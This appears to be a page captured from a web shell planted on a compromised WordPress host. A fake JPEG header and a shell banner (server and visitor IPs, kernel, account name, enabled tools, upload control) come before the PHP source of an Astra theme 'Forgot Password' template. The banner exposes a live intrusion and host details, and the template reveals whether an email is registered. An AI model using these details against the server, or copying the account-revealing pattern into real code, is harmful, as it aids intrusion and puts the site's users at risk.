????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././././proc/self/root/home/tempvsty/eaabusiness.com/form/wp-content/themes/astra/ |
Upload File : |
<?php
/*
Template Name: Forgot Password
*/
get_header();
?>
<style>
.main{
display: flex;
justify-content: center;
margin-top:50px;
margin-bottom:50px;
}
.container {
display: flex;
width: 1000px;
background-color: white;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
border-radius: 10px;
}
.login-section, .info-section {
padding: 50px;
}
.login-section {
width: 80%;
border-right: 1px solid #e0e0e0;
border-top-left-radius: 10px;
border-bottom-left-radius: 10px;
}
.info-section {
width:100%;
background-color: #dddbdc;
border-bottom-right-radius: 10px;
border-top-right-radius: 10px;
}
h1, h2 {
margin: 0 0 20px;
}
h1{
text-align: center;
margin-bottom: 30px;
font-weight: bold;
}
.error {
color: red;
margin: 0 0 20px;
}
form {
display: flex;
flex-direction: column;
}
label {
margin-bottom: 5px;
}
input[type="email"] {
padding: 10px;
margin-bottom: 20px;
border: none;
border-bottom: 1px solid #dedede;
}
input:focus-visible{
outline: none;
}
.remember-me {
display: flex;
align-items: center;
margin-bottom: 20px;
}
button {
padding: 10px;
border: none;
background-color: #008C76;
color: white;
cursor: pointer;
font-size: 16px;
font-weight: 600;
}
button:hover {
background-color: #007b66;
}
.signup {
margin-top: 20px;
text-align: center;
}
.signup a {
color: #008C76;
text-decoration: none;
}
.signup a:hover {
text-decoration: underline;
}
.info-section h2 {
text-align: center;
}
.seven{
display: flex;
margin-top: -44px;
}
.seven h4{
font-size: 20px;
margin-top: 10px;
margin-left: 10px;
}
#heading{
font-size: 60px;
}
.info-section ul {
list-style-type: none;
padding: 0;
}
.info-section li {
padding: 10px 0;
text-align: center;
}
.lost{
display: flex;
}
#pass{
margin-left: 130px;
text-decoration: none;
color: grey;
font-size: 14px;
}
#me{
margin-left: 5px;
margin-bottom: -2px;
font-size: 14px;
}
#img{
margin-left: 60px;
}
.img{
width:100% !important;
}
</style>
<?php
$message = '';
if (isset($_POST['submit'])) {
$user_email = sanitize_email($_POST['email']); // Corrected the name to 'email'
if (email_exists($user_email)) {
$user = get_user_by('email', $user_email);
$reset_key = get_password_reset_key($user);
if (is_wp_error($reset_key)) {
$message = '<p>There was an error generating the reset link. Please try again later.</p>';
} else {
$reset_url = site_url("wp-login.php?action=rp&key=$reset_key&login=" . rawurlencode($user->user_login));
// Prepare the email
$to = $user_email;
$subject = "Password Reset Request";
$email_message = "Click the following link to reset your password: <a href='$reset_url'>$reset_url</a>";
$headers = array('Content-Type: text/html; charset=UTF-8');
// Send the email
if (wp_mail($to, $subject, $email_message, $headers)) {
$message = "<p>A password reset link has been sent to your email address.</p>";
} else {
$message = "<p>Failed to send the reset email. Please try again later.</p>";
}
}
} else {
$message = "<p>No user found with that email address.</p>";
}
}
?>
<div class="main">
<div class="container">
<div class="login-section">
<form method="post">
<h1>Forgot Password</h1>
<?php echo $message; ?>
<label for="email">Email</label>
<input type="email" id="email" name="email" placeholder="Enter Your Email" required><br>
<button type="submit" name="submit">Reset Password</button>
</form>
</div>
<div class="info-section">
<img class="img" src="https://wantareview.com/wp-content/uploads/2024/05/download.jpg">
</div>
</div>
</div>
<?php get_footer(); ?>